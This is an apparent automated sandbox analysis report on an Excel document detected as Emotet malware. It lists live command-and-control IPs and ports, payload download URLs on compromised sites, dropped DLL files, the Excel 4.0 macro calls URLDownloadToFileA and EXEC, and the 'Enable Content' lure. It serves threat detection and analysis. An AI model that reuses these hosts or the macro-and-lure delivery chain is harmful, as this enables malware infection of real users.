Source: regsvr32.exe, 00000004.00000003.1000024393.00000000003D3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1212749807.00000000003D3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000003.984922139.00000000003D3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1212749002.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000006.00000002.1145993798.0000000002BCC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1212777558.0000000000406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000009.00000002.1212848980.0000000002D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme-0q
Source: regsvr32.exe, 00000004.00000002.1212991124.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabmeM
Source: regsvr32.exe, 00000009.00000002.1212477525.0000000000429000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en8I
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000004.00000003.984956310.00000000003E2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212848980.0000000002D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49/
Source: regsvr32.exe, 0000000B.00000002.1212804921.000000000041E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49/ds
Source: regsvr32.exe, 0000000B.00000002.1212804921.000000000041E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49/e
Source: regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49/p
Source: regsvr32.exe, 00000004.00000002.1212991124.0000000002BA0000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212848980.0000000002D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49:7080/
Source: regsvr32.exe, 0000000B.00000002.1212804921.000000000041E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49:7080/I
Source: regsvr32.exe, 0000000B.00000002.1212804921.000000000041E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://174.138.33.49:7080/M
Source: regsvr32.exe, 00000004.00000003.999897653.0000000002C84000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1213131028.0000000002C84000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146031491.0000000002C14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://180.250.21.2/
Source: regsvr32.exe, 00000004.00000002.1213014252.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1146008485.0000000002BEC000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.1000297109.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.981377703.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1145673940.000000000042E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1212882400.0000000002DA9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1213004789.0000000002BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=-----------HchsmYGNjTHost: 180.250.21.2Content-Length: 4532Connection: Keep-AliveCache-Control: no-cache

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\zz64mUdXWhBECsusJb[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: aysbody.com

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_005031E4 InternetReadFile,

4_2_005031E4

Source: global traffic	HTTP traffic detected: GET /catalog/FlJ6iKCntAwfO85/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: aysbody.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/T0kkNeOlvF/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hepsisifa.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /catalog/pJix6SFfnbNWFMuu8m/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.hayalkatibi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SDM/wC256Xn/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fikti.bem.gunadarma.ac.idConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 212.98.224.29:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.128.75.146:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.165.46.170:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 118.98.72.14:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.250.21.2:443 -> 192.168.2.22:49181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.250.21.2:443 -> 192.168.2.22:49182 version: TLS 1.2

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.21a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.regsvr32.exe.37531c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.regsvr32.exe.37531c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.20b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.500000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.20e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.20b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2070000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.3581b30.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.21a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.3581b30.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.35600f8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.regsvr32.exe.35600f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2070000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.20e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1145826810.0000000002141000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1212546662.0000000002070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1212794777.0000000000500000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.922476123.0000000002111000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1212495449.0000000000281000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.922324576.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1212616896.00000000020D1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1212485334.0000000000261000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.984306856.0000000003671000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1144792947.00000000021A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.928931752.0000000000210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.981015029.0000000003541000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.984624100.0000000003736000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1212368524.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.928977615.0000000000281000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1212376414.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.981139905.0000000003582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.941076199.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.909936865.0000000002141000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.940219777.0000000000240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1145771957.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.984499206.0000000003735000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.909786385.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and click Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 4	Screenshot OCR: Enable Content. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
Source: Screenshot number: 8	Screenshot OCR: Enable Editing and click Enable Content 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Source: Screenshot number: 8	Screenshot OCR: Enable Content X E83 - "" & V \ A A B C D E F G H I J K L M N O P Q R S : 1 I Most features ar

Found malicious Excel 4.0 Macro

Source: informe_30062022.xls	Macro extractor: Sheet: Sheet7 contains: URLDownloadToFileA
Source: informe_30062022.xls	Macro extractor: Sheet: Sheet7 contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\LEPqPJpt4Gbr8BHAn[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\zz64mUdXWhBECsusJb[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Wli[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm4.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\pgsfQZfg7Qt[1].dll	Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: informe_30062022.xls	Initial sample: EXEC
Source: informe_30062022.xls	Initial sample: EXEC

Source: informe_30062022.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\informe_30062022.xls, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\AppData\Local\Temp\~DFE0F93AF5A2719FD8.TMP, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: C:\Windows\System32\regsvr32.exe

File deleted: C:\Windows\System32\PjLQNSdPqGYp

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\FkxtdJN\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006484	3_2_0000000180006484
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00000001800016A8	3_2_00000001800016A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D1F8	3_2_000000018000D1F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000E218	3_2_000000018000E218
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000DE68	3_2_000000018000DE68
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000FA88	3_2_000000018000FA88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000F120	3_2_000000018000F120
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180010360	3_2_0000000180010360
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000AFD4	3_2_000000018000AFD4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00140000	3_2_00140000
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02167E28	3_2_02167E28
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0216B6BC	3_2_0216B6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02145B18	3_2_02145B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215EB08	3_2_0215EB08
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02158B3C	3_2_02158B3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02151B88	3_2_02151B88
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02157414	3_2_02157414
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215A804	3_2_0215A804
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214CCC8	3_2_0214CCC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215BD64	3_2_0215BD64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02153210	3_2_02153210
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02153610	3_2_02153610
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215F61C	3_2_0215F61C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02153E18	3_2_02153E18
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02162E04	3_2_02162E04
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02165E30	3_2_02165E30
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215F238	3_2_0215F238
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02162638	3_2_02162638
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215D620	3_2_0215D620
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215762C	3_2_0215762C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214E254	3_2_0214E254
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215D254	3_2_0215D254
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215EE5C	3_2_0215EE5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214FE58	3_2_0214FE58
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02169A40	3_2_02169A40
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214F290	3_2_0214F290
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0216BE90	3_2_0216BE90
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02143A9C	3_2_02143A9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0216369C	3_2_0216369C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214B698	3_2_0214B698
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02146698	3_2_02146698
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02150680	3_2_02150680
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_021546B4	3_2_021546B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214B2BC	3_2_0214B2BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_021676A4	3_2_021676A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_021616A8	3_2_021616A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214FAD0	3_2_0214FAD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02160AC4	3_2_02160AC4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02159EC0	3_2_02159EC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02164EF4	3_2_02164EF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_021612FC	3_2_021612FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02162AFC	3_2_02162AFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02142AE4	3_2_02142AE4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_021472E0	3_2_021472E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_021436E0	3_2_021436E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02161AE0	3_2_02161AE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02168EE8	3_2_02168EE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0216A304	3_2_0216A304
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02163304	3_2_02163304
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0214D300	3_2_0214D300
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02142708	3_2_02142708
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02164330	3_2_02164330
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02162F3C	3_2_02162F3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02166F3C	3_2_02166F3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02153724	3_2_02153724
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02157B24	3_2_02157B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0215C720	3_2_0215C720
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02159720	3_2_02159720
